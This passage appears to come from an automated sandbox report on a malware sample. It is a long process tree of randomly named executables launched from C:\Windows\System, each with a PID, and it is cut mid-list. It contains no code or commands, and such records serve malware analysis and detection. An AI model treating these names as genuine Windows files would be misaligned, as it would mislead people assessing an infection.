  C:\Windows\System\uODCEGK.exe
  2⤵
  PID:9292
- C:\Windows\System\RePOYjD.exe
  C:\Windows\System\RePOYjD.exe
  2⤵
  PID:4168
- C:\Windows\System\tBSmFue.exe
  C:\Windows\System\tBSmFue.exe
  2⤵
  PID:11276
- C:\Windows\System\RveSHwO.exe
  C:\Windows\System\RveSHwO.exe
  2⤵
  PID:10100
- C:\Windows\System\WrYVwde.exe
  C:\Windows\System\WrYVwde.exe
  2⤵
  PID:11248
- C:\Windows\System\bwsUBgo.exe
  C:\Windows\System\bwsUBgo.exe
  2⤵
  PID:12420
- C:\Windows\System\DSFQQTh.exe
  C:\Windows\System\DSFQQTh.exe
  2⤵
  PID:2528
- C:\Windows\System\wfoPokd.exe
  C:\Windows\System\wfoPokd.exe
  2⤵
  PID:12948
- C:\Windows\System\QtajAym.exe
  C:\Windows\System\QtajAym.exe
  2⤵
  PID:12644
- C:\Windows\System\Zzmugga.exe
  C:\Windows\System\Zzmugga.exe
  2⤵
  PID:13044
- C:\Windows\System\rbpgzrC.exe
  C:\Windows\System\rbpgzrC.exe
  2⤵
  PID:3148
- C:\Windows\System\dXovWKS.exe
  C:\Windows\System\dXovWKS.exe
  2⤵
  PID:12900
- C:\Windows\System\kguhqPj.exe
  C:\Windows\System\kguhqPj.exe
  2⤵
  PID:13296
- C:\Windows\System\zlveLaE.exe
  C:\Windows\System\zlveLaE.exe
  2⤵
  PID:4024
- C:\Windows\System\McoRqZG.exe
  C:\Windows\System\McoRqZG.exe
  2⤵
  PID:12092
- C:\Windows\System\nxMxCVd.exe
  C:\Windows\System\nxMxCVd.exe
  2⤵
  PID:13292
- C:\Windows\System\BwVkTQE.exe
  C:\Windows\System\BwVkTQE.exe
  2⤵
  PID:11672
- C:\Windows\System\IXxPyFW.exe
  C:\Windows\System\IXxPyFW.exe
  2⤵
  PID:12244
- C:\Windows\System\mdoopjy.exe
  C:\Windows\System\mdoopjy.exe
  2⤵
  PID:11348
- C:\Windows\System\HcNonmS.exe
  C:\Windows\System\HcNonmS.exe
  2⤵
  PID:12756
- C:\Windows\System\oXxUqdo.exe
  C:\Windows\System\oXxUqdo.exe
  2⤵
  PID:11592
- C:\Windows\System\GoIAEXV.exe
  C:\Windows\System\GoIAEXV.exe
  2⤵
  PID:1324
- C:\Windows\System\GJLPMYG.exe
  C:\Windows\System\GJLPMYG.exe
  2⤵
  PID:13320
- C:\Windows\System\bscDlAq.exe
  C:\Windows\System\bscDlAq.exe
  2⤵
  PID:13340
- C:\Windows\System\RsUtNPB.exe
  C:\Windows\System\RsUtNPB.exe
  2⤵
  PID:13356
- C:\Windows\System\GjJumfG.exe
  C:\Windows\System\GjJumfG.exe
  2⤵
  PID:13380
- C:\Windows\System\gMcGqcR.exe
  C:\Windows\System\gMcGqcR.exe
  2⤵
  PID:13404
- C:\Windows\System\vAteDpQ.exe
  C:\Windows\System\vAteDpQ.exe
  2⤵
  PID:13428
- C:\Windows\System\CpqlLYc.exe
  C:\Windows\System\CpqlLYc.exe
  2⤵
  PID:13448
- C:\Windows\System\joCBvKn.exe
  C:\Windows\System\joCBvKn.exe
  2⤵
  PID:13892
- C:\Windows\System\agAgmXG.exe
  C:\Windows\System\agAgmXG.exe
  2⤵
  PID:13972
- C:\Windows\System\lyagItH.exe
  C:\Windows\System\lyagItH.exe
  2⤵
  PID:14016
- C:\Windows\System\BiwFBrc.exe
  C:\Windows\System\BiwFBrc.exe
  2⤵
  PID:14136
- C:\Windows\System\mGHiMkC.exe
  C:\Windows\System\mGHiMkC.exe
  2⤵
  PID:14156
- C:\Windows\System\QKtsgBy.exe
  C:\Windows\System\QKtsgBy.exe
  2⤵
  PID:14204
- C:\Windows\System\rDqKBwj.exe
  C:\Windows\System\rDqKBwj.exe
  2⤵
  PID:14252
- C:\Windows\System\PDOeBNq.exe
  C:\Windows\System\PDOeBNq.exe
  2⤵
  PID:14276
- C:\Windows\System\LMfBwqj.exe
  C:\Windows\System\LMfBwqj.exe
  2⤵
  PID:14300
- C:\Windows\System\ICoOkDG.exe
  C:\Windows\System\ICoOkDG.exe
  2⤵
  PID:14328
- C:\Windows\System\WCQsqjE.exe
  C:\Windows\System\WCQsqjE.exe
  2⤵
  PID:11884
- C:\Windows\System\fWhmELh.exe
  C:\Windows\System\fWhmELh.exe
  2⤵
  PID:4328
- C:\Windows\System\oMegYLg.exe
  C:\Windows\System\oMegYLg.exe
  2⤵
  PID:11008
- C:\Windows\System\xQiWhYE.exe
  C:\Windows\System\xQiWhYE.exe
  2⤵
  PID:13392
- C:\Windows\System\Grpcwje.exe
  C:\Windows\System\Grpcwje.exe
  2⤵
  PID:13488
- C:\Windows\System\jWSuLCc.exe
  C:\Windows\System\jWSuLCc.exe
  2⤵
  PID:13520
- C:\Windows\System\fWoqced.exe
  C:\Windows\System\fWoqced.exe
  2⤵
  PID:13604
- C:\Windows\System\RHqgKWt.exe
  C:\Windows\System\RHqgKWt.exe
  2⤵
  PID:4972
- C:\Windows\System\hWpkKap.exe
  C:\Windows\System\hWpkKap.exe
  2⤵
  PID:9128
- C:\Windows\System\agsCspa.exe
  C:\Windows\System\agsCspa.exe
  2⤵
  PID:13420
- C:\Windows\System\qdMkgxC.exe
  C:\Windows\System\qdMkgxC.exe
  2⤵
  PID:13640
- C:\Windows\System\fkkCwiK.exe
  C:\Windows\System\fkkCwiK.exe
  2⤵
  PID:13632
- C:\Windows\System\WQnRLpN.exe
  C:\Windows\System\WQnRLpN.exe
  2⤵
  PID:13672
- C:\Windows\System\PZWWAuk.exe
  C:\Windows\System\PZWWAuk.exe
  2⤵
  PID:13720
- C:\Windows\System\uywCPdW.exe
  C:\Windows\System\uywCPdW.exe
  2⤵
  PID:13752
- C:\Windows\System\SNzNISG.exe
  C:\Windows\System\SNzNISG.exe
  2⤵
  PID:2432
- C:\Windows\System\fvpusVG.exe
  C:\Windows\System\fvpusVG.exe
  2⤵
  PID:4880
- C:\Windows\System\uiWPwTq.exe
  C:\Windows\System\uiWPwTq.exe
  2⤵
  PID:3248
- C:\Windows\System\LbSpnUD.exe
  C:\Windows\System\LbSpnUD.exe
  2⤵
  PID:6744
- C:\Windows\System\tKEaHQq.exe
  C:\Windows\System\tKEaHQq.exe
  2⤵
  PID:6704
- C:\Windows\System\qQfcrgw.exe
  C:\Windows\System\qQfcrgw.exe
  2⤵
  PID:6732
- C:\Windows\System\lgKhkZc.exe
  C:\Windows\System\lgKhkZc.exe
  2⤵
  PID:13920
- C:\Windows\System\DvmFvBS.exe
  C:\Windows\System\DvmFvBS.exe
  2⤵
  PID:14228
- C:\Windows\System\FYxczsy.exe
  C:\Windows\System\FYxczsy.exe
  2⤵
  PID:14200
- C:\Windows\System\UHGxwzq.exe
  C:\Windows\System\UHGxwzq.exe
  2⤵
  PID:14284
- C:\Windows\System\jXbkdZd.exe
  C:\Windows\System\jXbkdZd.exe
  2⤵
  PID:14312
- C:\Windows\System\meQmQud.exe
  C:\Windows\System\meQmQud.exe
  2⤵
  PID:12968
- C:\Windows\System\zvraHNS.exe
  C:\Windows\System\zvraHNS.exe
  2⤵
  PID:12164
- C:\Windows\System\llIBivm.exe
  C:\Windows\System\llIBivm.exe
  2⤵
  PID:12916
- C:\Windows\System\HrkhCOL.exe
  C:\Windows\System\HrkhCOL.exe
  2⤵
  PID:13440
- C:\Windows\System\MJHkMTu.exe
  C:\Windows\System\MJHkMTu.exe
  2⤵
  PID:12820
- C:\Windows\System\fQbIHcN.exe
  C:\Windows\System\fQbIHcN.exe
  2⤵
  PID:1264
- C:\Windows\System\FgIcTBF.exe
  C:\Windows\System\FgIcTBF.exe
  2⤵
  PID:2352
- C:\Windows\System\tXZwjgb.exe
  C:\Windows\System\tXZwjgb.exe
  2⤵
  PID:13692
- C:\Windows\System\hNECuiI.exe
  C:\Windows\System\hNECuiI.exe
  2⤵
  PID:2300
- C:\Windows\System\whcLmty.exe
  C:\Windows\System\whcLmty.exe
  2⤵
  PID:6724
- C:\Windows\System\sQWnQbi.exe
  C:\Windows\System\sQWnQbi.exe
  2⤵
  PID:13780
- C:\Windows\System\IlqFhBj.exe
  C:\Windows\System\IlqFhBj.exe
  2⤵
  PID:6352
- C:\Windows\System\SZeOGec.exe
  C:\Windows\System\SZeOGec.exe
  2⤵
  PID:14044
- C:\Windows\System\EkuubKy.exe
  C:\Windows\System\EkuubKy.exe
  2⤵
  PID:14124
- C:\Windows\System\EmHAaND.exe
  C:\Windows\System\EmHAaND.exe
  2⤵
  PID:14176
- C:\Windows\System\RxbgwjT.exe
  C:\Windows\System\RxbgwjT.exe
  2⤵
  PID:14128
- C:\Windows\System\sQfUOye.exe
  C:\Windows\System\sQfUOye.exe
  2⤵
  PID:14308
- C:\Windows\System\TbiVfqC.exe
  C:\Windows\System\TbiVfqC.exe
  2⤵
  PID:13184
- C:\Windows\System\ywkJoTB.exe
  C:\Windows\System\ywkJoTB.exe
  2⤵
  PID:2224
- C:\Windows\System\ywIHqnp.exe
  C:\Windows\System\ywIHqnp.exe
  2⤵
  PID:6688
- C:\Windows\System\laVwFTh.exe
  C:\Windows\System\laVwFTh.exe
  2⤵
  PID:1100
- C:\Windows\System\BjSWwJM.exe
  C:\Windows\System\BjSWwJM.exe
  2⤵
  PID:13716
- C:\Windows\System\axwWtGG.exe
  C:\Windows\System\axwWtGG.exe
  2⤵
  PID:5556
- C:\Windows\System\AJICQDj.exe
  C:\Windows\System\AJICQDj.exe
  2⤵
  PID:1348
- C:\Windows\System\UVbXMCF.exe
  C:\Windows\System\UVbXMCF.exe
  2⤵
  PID:11892
- C:\Windows\System\LRhmKaO.exe
  C:\Windows\System\LRhmKaO.exe
  2⤵
  PID:8524
- C:\Windows\System\fiHWLpP.exe
  C:\Windows\System\fiHWLpP.exe
  2⤵
  PID:6172
- C:\Windows\System\LtuQCVi.exe
  C:\Windows\System\LtuQCVi.exe
  2⤵
  PID:13464
- C:\Windows\System\ruxiaHt.exe
  C:\Windows\System\ruxiaHt.exe
  2⤵
  PID:12032
- C:\Windows\System\xiBParo.exe
  C:\Windows\System\xiBParo.exe
  2⤵
  PID:13064
- C:\Windows\System\DoMwEze.exe
  C:\Windows\System\DoMwEze.exe
  2⤵
  PID:12460
- C:\Windows\System\AkhEGAd.exe
  C:\Windows\System\AkhEGAd.exe
  2⤵
  PID:12024
- C:\Windows\System\xiAnioI.exe
  C:\Windows\System\xiAnioI.exe
  2⤵
  PID:4496
- C:\Windows\System\pQBvyru.exe
  C:\Windows\System\pQBvyru.exe
  2⤵
  PID:13644
- C:\Windows\System\XxAajzK.exe
  C:\Windows\System\XxAajzK.exe
  2⤵
  PID:13564
- C:\Windows\System\RvHUSCi.exe
  C:\Windows\System\RvHUSCi.exe
  2⤵
  PID:5528
- C:\Windows\System\PuogYBP.exe
  C:\Windows\System\PuogYBP.exe
  2⤵
  PID:13656
- C:\Windows\System\mfYSAqy.exe
  C:\Windows\System\mfYSAqy.exe
  2⤵
  PID:13840
- C:\Windows\System\WyfLCLY.exe
  C:\Windows\System\WyfLCLY.exe
  2⤵
  PID:13860
- C:\Windows\System\krtgWZb.exe
  C:\Windows\System\krtgWZb.exe
  2⤵
  PID:4372
- C:\Windows\System\GmBOYWe.exe
  C:\Windows\System\GmBOYWe.exe
  2⤵
  PID:6168
- C:\Windows\System\TMcjIyM.exe
  C:\Windows\System\TMcjIyM.exe
  2⤵
  PID:5800
- C:\Windows\System\ieYGoWy.exe
  C:\Windows\System\ieYGoWy.exe
  2⤵
  PID:5296
- C:\Windows\System\BSgJYYa.exe
  C:\Windows\System\BSgJYYa.exe
  2⤵
  PID:5588
- C:\Windows\System\dKTgtmk.exe
  C:\Windows\System\dKTgtmk.exe
  2⤵
  PID:6300
- C:\Windows\System\ngUsQyB.exe
  C:\Windows\System\ngUsQyB.exe
  2⤵
  PID:5684
- C:\Windows\System\TcrLJrO.exe
  C:\Windows\System\TcrLJrO.exe
  2⤵
  PID:228
- C:\Windows\System\WhIVuOk.exe
  C:\Windows\System\WhIVuOk.exe
  2⤵
  PID:14180
- C:\Windows\System\qcEiFHp.exe
  C:\Windows\System\qcEiFHp.exe
  2⤵
  PID:12528
- C:\Windows\System\dkFKBky.exe
  C:\Windows\System\dkFKBky.exe
  2⤵
  PID:11764
- C:\Windows\System\CePjUXm.exe
  C:\Windows\System\CePjUXm.exe
  2⤵
  PID:10956
- C:\Windows\System\YcoRqWt.exe
  C:\Windows\System\YcoRqWt.exe
  2⤵
  PID:14112
- C:\Windows\System\UplIblE.exe
  C:\Windows\System\UplIblE.exe
  2⤵
  PID:3156
- C:\Windows\System\pIruzAp.exe
  C:\Windows\System\pIruzAp.exe
  2⤵
  PID:5604
- C:\Windows\System\Rrxdayl.exe
  C:\Windows\System\Rrxdayl.exe
  2⤵
  PID:5836
- C:\Windows\System\oDTmeBj.exe
  C:\Windows\System\oDTmeBj.exe
  2⤵
  PID:5748
- C:\Windows\System\zkXEWQf.exe
  C:\Windows\System\zkXEWQf.exe
  2⤵
  PID:5912
- C:\Windows\System\owBoDcq.exe
  C:\Windows\System\owBoDcq.exe
  2⤵
  PID:11328
- C:\Windows\System\ftMvKWo.exe
  C:\Windows\System\ftMvKWo.exe
  2⤵
  PID:6076
- C:\Windows\System\FnVbFCa.exe
  C:\Windows\System\FnVbFCa.exe
  2⤵
  PID:6664
- C:\Windows\System\JDHqDSF.exe
  C:\Windows\System\JDHqDSF.exe
  2⤵
  PID:5328
- C:\Windows\System\bKNDZnI.exe
  C:\Windows\System\bKNDZnI.exe
  2⤵
  PID:5560
- C:\Windows\System\UyIfSAT.exe
  C:\Windows\System\UyIfSAT.exe
  2⤵
  PID:13768
- C:\Windows\System\TRajSaf.exe
  C:\Windows\System\TRajSaf.exe
  2⤵
  PID:6208
- C:\Windows\System\CJYSYYJ.exe
  C:\Windows\System\CJYSYYJ.exe
  2⤵
  PID:2148
- C:\Windows\System\ltcfZTI.exe
  C:\Windows\System\ltcfZTI.exe
  2⤵
  PID:5788
- C:\Windows\System\CeBfROL.exe
  C:\Windows\System\CeBfROL.exe
  2⤵
  PID:5468
- C:\Windows\System\NTHaJNs.exe
  C:\Windows\System\NTHaJNs.exe
  2⤵
  PID:13316
- C:\Windows\System\OyvVjXI.exe
  C:\Windows\System\OyvVjXI.exe
  2⤵
  PID:5156
- C:\Windows\System\xBCAJOT.exe
  C:\Windows\System\xBCAJOT.exe
  2⤵
  PID:6060
- C:\Windows\System\GrCjRnQ.exe
  C:\Windows\System\GrCjRnQ.exe
  2⤵
  PID:6432
- C:\Windows\System\txnLjRJ.exe
  C:\Windows\System\txnLjRJ.exe
  2⤵
  PID:5784
- C:\Windows\System\RVTfcAw.exe
  C:\Windows\System\RVTfcAw.exe
  2⤵
  PID:5452
- C:\Windows\System\axWdsWh.exe
  C:\Windows\System\axWdsWh.exe
  2⤵
  PID:5744
- C:\Windows\System\HrKpbjH.exe
  C:\Windows\System\HrKpbjH.exe
  2⤵
  PID:5580
- C:\Windows\System\rtJQjgo.exe
  C:\Windows\System\rtJQjgo.exe
  2⤵
  PID:13936
- C:\Windows\System\hIiDDJH.exe
  C:\Windows\System\hIiDDJH.exe
  2⤵
  PID:6140
- C:\Windows\System\JcNPuaW.exe
  C:\Windows\System\JcNPuaW.exe
  2⤵
  PID:5772
- C:\Windows\System\UClpcau.exe
  C:\Windows\System\UClpcau.exe
  2⤵
  PID:4568
- C:\Windows\System\CQzoHHR.exe
  C:\Windows\System\CQzoHHR.exe
  2⤵
  PID:4992
- C:\Windows\System\RissVRR.exe
  C:\Windows\System\RissVRR.exe
  2⤵
  PID:6100
- C:\Windows\System\EDaJrbS.exe
  C:\Windows\System\EDaJrbS.exe
  2⤵
  PID:5308
- C:\Windows\System\LTdhVLU.exe
  C:\Windows\System\LTdhVLU.exe
  2⤵
  PID:6612
- C:\Windows\System\ZYWbBfW.exe
  C:\Windows\System\ZYWbBfW.exe
  2⤵
  PID:6488
- C:\Windows\System\LHtQLzB.exe
  C:\Windows\System\LHtQLzB.exe
  2⤵
  PID:5176
- C:\Windows\System\tMeQelS.exe
  C:\Windows\System\tMeQelS.exe
  2⤵
  PID:6108
- C:\Windows\System\tssYgoY.exe
  C:\Windows\System\tssYgoY.exe
  2⤵
  PID:7028
- C:\Windows\System\FEIvzcK.exe
  C:\Windows\System\FEIvzcK.exe
  2⤵
  PID:5276
- C:\Windows\System\mXVVvwy.exe
  C:\Windows\System\mXVVvwy.exe
  2⤵
  PID:5000
- C:\Windows\System\MJOTxlw.exe
  C:\Windows\System\MJOTxlw.exe
  2⤵
  PID:5268
- C:\Windows\System\BVzRoYa.exe
  C:\Windows\System\BVzRoYa.exe
  2⤵
  PID:5252
- C:\Windows\System\XgINlLT.exe
  C:\Windows\System\XgINlLT.exe
  2⤵
  PID:6376
- C:\Windows\System\sdOpUVc.exe
  C:\Windows\System\sdOpUVc.exe
  2⤵
  PID:14104
- C:\Windows\System\JAjrDrm.exe
  C:\Windows\System\JAjrDrm.exe
  2⤵
  PID:14212
- C:\Windows\System\rikjGXM.exe
  C:\Windows\System\rikjGXM.exe
  2⤵
  PID:5880
- C:\Windows\System\LJAmTDi.exe
  C:\Windows\System\LJAmTDi.exe
  2⤵
  PID:6596
- C:\Windows\System\yUFwdPh.exe
  C:\Windows\System\yUFwdPh.exe
  2⤵
  PID:8476
- C:\Windows\System\gBIMpME.exe
  C:\Windows\System\gBIMpME.exe
  2⤵
  PID:7560
- C:\Windows\System\eNsxfRM.exe
  C:\Windows\System\eNsxfRM.exe
  2⤵
  PID:1524
- C:\Windows\System\hCQmjlK.exe
  C:\Windows\System\hCQmjlK.exe
  2⤵
  PID:7696
- C:\Windows\System\dzyadUC.exe
  C:\Windows\System\dzyadUC.exe
  2⤵
  PID:7396
- C:\Windows\System\XRWuHwA.exe
  C:\Windows\System\XRWuHwA.exe
  2⤵
  PID:6056
- C:\Windows\System\ktWIfRy.exe
  C:\Windows\System\ktWIfRy.exe
  2⤵
  PID:11232
- C:\Windows\System\LFfxBei.exe
  C:\Windows\System\LFfxBei.exe
  2⤵
  PID:8136
- C:\Windows\System\jntrOAn.exe
  C:\Windows\System\jntrOAn.exe
  2⤵
  PID:5292
- C:\Windows\System\zZctPrV.exe
  C:\Windows\System\zZctPrV.exe
  2⤵
  PID:7980
- C:\Windows\System\jChKAlD.exe
  C:\Windows\System\jChKAlD.exe
  2⤵
  PID:8892
- C:\Windows\System\grtPOEO.exe
  C:\Windows\System\grtPOEO.exe
  2⤵
  PID:8612
- C:\Windows\System\qhNoodw.exe
  C:\Windows\System\qhNoodw.exe
  2⤵
  PID:8516
- C:\Windows\System\BTWIFMl.exe
  C:\Windows\System\BTWIFMl.exe
  2⤵
  PID:8440
- C:\Windows\System\CtawqNw.exe
  C:\Windows\System\CtawqNw.exe
  2⤵
  PID:7444
- C:\Windows\System\YLJcSla.exe
  C:\Windows\System\YLJcSla.exe
  2⤵
  PID:7084
- C:\Windows\System\yyPAavq.exe
  C:\Windows\System\yyPAavq.exe
  2⤵
  PID:7092
- C:\Windows\System\gCWnchj.exe
  C:\Windows\System\gCWnchj.exe
  2⤵
  PID:8736
- C:\Windows\System\PtoQfGq.exe
  C:\Windows\System\PtoQfGq.exe
  2⤵
  PID:6896
- C:\Windows\System\lcZBPeY.exe
  C:\Windows\System\lcZBPeY.exe
  2⤵
  PID:9068
- C:\Windows\System\QOgOnli.exe
  C:\Windows\System\QOgOnli.exe
  2⤵
  PID:8588
- C:\Windows\System\WPGBaws.exe
  C:\Windows\System\WPGBaws.exe
  2⤵
  PID:7488
- C:\Windows\System\uKRyUBD.exe
  C:\Windows\System\uKRyUBD.exe
  2⤵
  PID:8984
- C:\Windows\System\JoxfFuh.exe
  C:\Windows\System\JoxfFuh.exe
  2⤵
  PID:8712
- C:\Windows\System\rjUCIjv.exe
  C:\Windows\System\rjUCIjv.exe
  2⤵
  PID:7180
- C:\Windows\System\bNlpisX.exe
  C:\Windows\System\bNlpisX.exe
  2⤵
  PID:9144
- C:\Windows\System\orLPjSI.exe
  C:\Windows\System\orLPjSI.exe
  2⤵
  PID:7920
- C:\Windows\System\ymAESZG.exe
  C:\Windows\System\ymAESZG.exe
  2⤵
  PID:8296
- C:\Windows\System\zHWCKQw.exe
  C:\Windows\System\zHWCKQw.exe
  2⤵
  PID:8732
- C:\Windows\System\twFmYzf.exe
  C:\Windows\System\twFmYzf.exe
  2⤵
  PID:8328
- C:\Windows\System\DiXotSf.exe
  C:\Windows\System\DiXotSf.exe
  2⤵
  PID:2104
- C:\Windows\System\GdOOacB.exe
  C:\Windows\System\GdOOacB.exe
  2⤵
  PID:7624
- C:\Windows\System\eOfuQNO.exe
  C:\Windows\System\eOfuQNO.exe
  2⤵
  PID:13648
- C:\Windows\System\qfQguRj.exe
  C:\Windows\System\qfQguRj.exe
  2⤵
  PID:8816
- C:\Windows\System\JIFwcZS.exe
  C:\Windows\System\JIFwcZS.exe
  2⤵
  PID:7020
- C:\Windows\System\hGEocif.exe
  C:\Windows\System\hGEocif.exe
  2⤵
  PID:8684
- C:\Windows\System\xCYWCLq.exe
  C:\Windows\System\xCYWCLq.exe
  2⤵
  PID:8276
- C:\Windows\System\IjjHmdt.exe
  C:\Windows\System\IjjHmdt.exe
  2⤵
  PID:8668
- C:\Windows\System\inpmwDt.exe
  C:\Windows\System\inpmwDt.exe
  2⤵
  PID:7692
- C:\Windows\System\wQUvrpl.exe
  C:\Windows\System\wQUvrpl.exe
  2⤵
  PID:7752
- C:\Windows\System\YJZugoi.exe
  C:\Windows\System\YJZugoi.exe
  2⤵
  PID:5172
- C:\Windows\System\uqDVDAh.exe
  C:\Windows\System\uqDVDAh.exe
  2⤵
  PID:8488
- C:\Windows\System\HttFjTe.exe
  C:\Windows\System\HttFjTe.exe
  2⤵
  PID:9016
- C:\Windows\System\RQHyEjO.exe
  C:\Windows\System\RQHyEjO.exe
  2⤵
  PID:8356
- C:\Windows\System\xRvJJtM.exe
  C:\Windows\System\xRvJJtM.exe
  2⤵
  PID:4264
- C:\Windows\System\eMmRvpF.exe
  C:\Windows\System\eMmRvpF.exe
  2⤵
  PID:9244
- C:\Windows\System\cCfiFzq.exe
  C:\Windows\System\cCfiFzq.exe
  2⤵
  PID:7632
- C:\Windows\System\jDqgUQR.exe
  C:\Windows\System\jDqgUQR.exe
  2⤵
  PID:9036
- C:\Windows\System\BKmFESQ.exe
  C:\Windows\System\BKmFESQ.exe
  2⤵
  PID:8092
- C:\Windows\System\EpHzupx.exe
  C:\Windows\System\EpHzupx.exe
  2⤵
  PID:9008
- C:\Windows\System\QJLPhFG.exe
  C:\Windows\System\QJLPhFG.exe
  2⤵
  PID:7720
- C:\Windows\System\RyBiPnW.exe
  C:\Windows\System\RyBiPnW.exe
  2⤵
  PID:8624
- C:\Windows\System\MitBTze.exe
  C:\Windows\System\MitBTze.exe
  2⤵
  PID:6868
- C:\Windows\System\hddLdgd.exe
  C:\Windows\System\hddLdgd.exe
  2⤵
  PID:9468
- C:\Windows\System\xCWexzS.exe
  C:\Windows\System\xCWexzS.exe
  2⤵
  PID:6220
- C:\Windows\System\hZYmCuA.exe
  C:\Windows\System\hZYmCuA.exe
  2⤵
  PID:9328
- C:\Windows\System\TsgySAi.exe
  C:\Windows\System\TsgySAi.exe
  2⤵
  PID:6736
- C:\Windows\System\ESwtDFp.exe
  C:\Windows\System\ESwtDFp.exe
  2⤵
  PID:1064
- C:\Windows\System\rCLdUTH.exe
  C:\Windows\System\rCLdUTH.exe
  2⤵
  PID:8300
- C:\Windows\System\QRIycFp.exe
  C:\Windows\System\QRIycFp.exe
  2⤵
  PID:9372
- C:\Windows\System\ulcEnxw.exe
  C:\Windows\System\ulcEnxw.exe
  2⤵
  PID:8500
- C:\Windows\System\XULDDKG.exe
  C:\Windows\System\XULDDKG.exe
  2⤵
  PID:3984
- C:\Windows\System\lbGuUSY.exe
  C:\Windows\System\lbGuUSY.exe
  2⤵
  PID:8792
- C:\Windows\System\EYJYZtz.exe
  C:\Windows\System\EYJYZtz.exe
  2⤵
  PID:8348
- C:\Windows\System\otDfhJT.exe
  C:\Windows\System\otDfhJT.exe
  2⤵
  PID:8848
- C:\Windows\System\JRowDQR.exe
  C:\Windows\System\JRowDQR.exe
  2⤵
  PID:9688
- C:\Windows\System\kpdhfls.exe
  C:\Windows\System\kpdhfls.exe
  2⤵
  PID:8584
- C:\Windows\System\fZccGPZ.exe
  C:\Windows\System\fZccGPZ.exe
  2⤵
  PID:9108
- C:\Windows\System\uygcLJA.exe
  C:\Windows\System\uygcLJA.exe
  2⤵
  PID:7264
- C:\Windows\System\FDqLjty.exe
  C:\Windows\System\FDqLjty.exe
  2⤵
  PID:3916
- C:\Windows\System\NwfcEgV.exe
  C:\Windows\System\NwfcEgV.exe
  2⤵
  PID:9716
- C:\Windows\System\KmUVdAj.exe
  C:\Windows\System\KmUVdAj.exe
  2⤵
  PID:8680
- C:\Windows\System\mSwmMTP.exe
  C:\Windows\System\mSwmMTP.exe
  2⤵
  PID:8944
- C:\Windows\System\ICXrllV.exe
  C:\Windows\System\ICXrllV.exe
  2⤵
  PID:5248
- C:\Windows\System\pPzsbAc.exe
  C:\Windows\System\pPzsbAc.exe
  2⤵
  PID:6964
- C:\Windows\System\rQwqRmW.exe
  C:\Windows\System\rQwqRmW.exe
  2⤵
  PID:3708
- C:\Windows\System\FYiaPgu.exe
  C:\Windows\System\FYiaPgu.exe
  2⤵
  PID:9196
- C:\Windows\System\qAoHgiG.exe
  C:\Windows\System\qAoHgiG.exe
  2⤵
  PID:6712
- C:\Windows\System\FBOcPYN.exe
  C:\Windows\System\FBOcPYN.exe
  2⤵
  PID:9844
- C:\Windows\System\CNPypyd.exe
  C:\Windows\System\CNPypyd.exe
  2⤵
  PID:9596
- C:\Windows\System\RiUPhhU.exe
  C:\Windows\System\RiUPhhU.exe
  2⤵
  PID:9932
- C:\Windows\System\MRzgrxD.exe
  C:\Windows\System\MRzgrxD.exe
  2⤵
  PID:8716
- C:\Windows\System\XoSFQfJ.exe
  C:\Windows\System\XoSFQfJ.exe
  2⤵
  PID:8832
- C:\Windows\System\vJPHUbQ.exe
  C:\Windows\System\vJPHUbQ.exe
  2⤵
  PID:7552
- C:\Windows\System\XsLYFpa.exe
  C:\Windows\System\XsLYFpa.exe
  2⤵
  PID:3292
- C:\Windows\System\hkQmdgj.exe
  C:\Windows\System\hkQmdgj.exe
  2⤵
  PID:10084
- C:\Windows\System\fbbZLaP.exe
  C:\Windows\System\fbbZLaP.exe
  2⤵
  PID:2264
- C:\Windows\System\RzVmlaw.exe
  C:\Windows\System\RzVmlaw.exe
  2⤵
  PID:8384
- C:\Windows\System\sGzndfV.exe
  C:\Windows\System\sGzndfV.exe
  2⤵
  PID:7808
- C:\Windows\System\timYPEn.exe
  C:\Windows\System\timYPEn.exe
  2⤵
  PID:9104
- C:\Windows\System\IaJhFtc.exe
  C:\Windows\System\IaJhFtc.exe
  2⤵
  PID:10260
- C:\Windows\System\EFlnWSK.exe
  C:\Windows\System\EFlnWSK.exe
  2⤵
  PID:7248
- C:\Windows\System\UZQMOeV.exe
  C:\Windows\System\UZQMOeV.exe
  2⤵
  PID:10368
- C:\Windows\System\LOHuveV.exe
  C:\Windows\System\LOHuveV.exe
  2⤵
  PID:5108
- C:\Windows\System\InFiHmi.exe
  C:\Windows\System\InFiHmi.exe
  2⤵
  PID:10416
- C:\Windows\System\IfNGDix.exe
  C:\Windows\System\IfNGDix.exe
  2⤵
  PID:10448
- C:\Windows\System\ObhjsQE.exe
  C:\Windows\System\ObhjsQE.exe
  2⤵
  PID:9444
- C:\Windows\System\OsUwZPY.exe
  C:\Windows\System\OsUwZPY.exe
  2⤵
  PID:10440
- C:\Windows\System\HmyYEfe.exe
  C:\Windows\System\HmyYEfe.exe
  2⤵
  PID:10436
- C:\Windows\System\eMbZvcW.exe
  C:\Windows\System\eMbZvcW.exe
  2⤵
  PID:5948
- C:\Windows\System\scUSzdz.exe
  C:\Windows\System\scUSzdz.exe
  2⤵
  PID:456
- C:\Windows\System\pezmObK.exe
  C:\Windows\System\pezmObK.exe
  2⤵
  PID:9828
- C:\Windows\System\UoXqLlT.exe
  C:\Windows\System\UoXqLlT.exe
  2⤵
  PID:8828
- C:\Windows\System\KbcPPZE.exe
  C:\Windows\System\KbcPPZE.exe
  2⤵
  PID:9652
- C:\Windows\System\dyevuKA.exe
  C:\Windows\System\dyevuKA.exe
  2⤵
  PID:9812
- C:\Windows\System\FRHVYXs.exe
  C:\Windows\System\FRHVYXs.exe
  2⤵
  PID:9132
- C:\Windows\System\ehxxoHW.exe
  C:\Windows\System\ehxxoHW.exe
  2⤵
  PID:9152
- C:\Windows\System\AXMKEJs.exe
  C:\Windows\System\AXMKEJs.exe
  2⤵
  PID:11256
- C:\Windows\System\DRVXAqH.exe
  C:\Windows\System\DRVXAqH.exe
  2⤵
  PID:10512
- C:\Windows\System\XsZxbfM.exe
  C:\Windows\System\XsZxbfM.exe
  2⤵
  PID:10996
- C:\Windows\System\dyLVybb.exe
  C:\Windows\System\dyLVybb.exe
  2⤵
  PID:10320
- C:\Windows\System\fEuXdGr.exe
  C:\Windows\System\fEuXdGr.exe
  2⤵
  PID:10888
- C:\Windows\System\GCeDuJf.exe
  C:\Windows\System\GCeDuJf.exe
  2⤵
  PID:10188
- C:\Windows\System\rqBUCPt.exe
  C:\Windows\System\rqBUCPt.exe
  2⤵
  PID:9568
- C:\Windows\System\JyNgWoW.exe
  C:\Windows\System\JyNgWoW.exe
  2⤵
  PID:8692
- C:\Windows\System\SjvTkVq.exe
  C:\Windows\System\SjvTkVq.exe
  2⤵
  PID:7708
- C:\Windows\System\sHepcct.exe
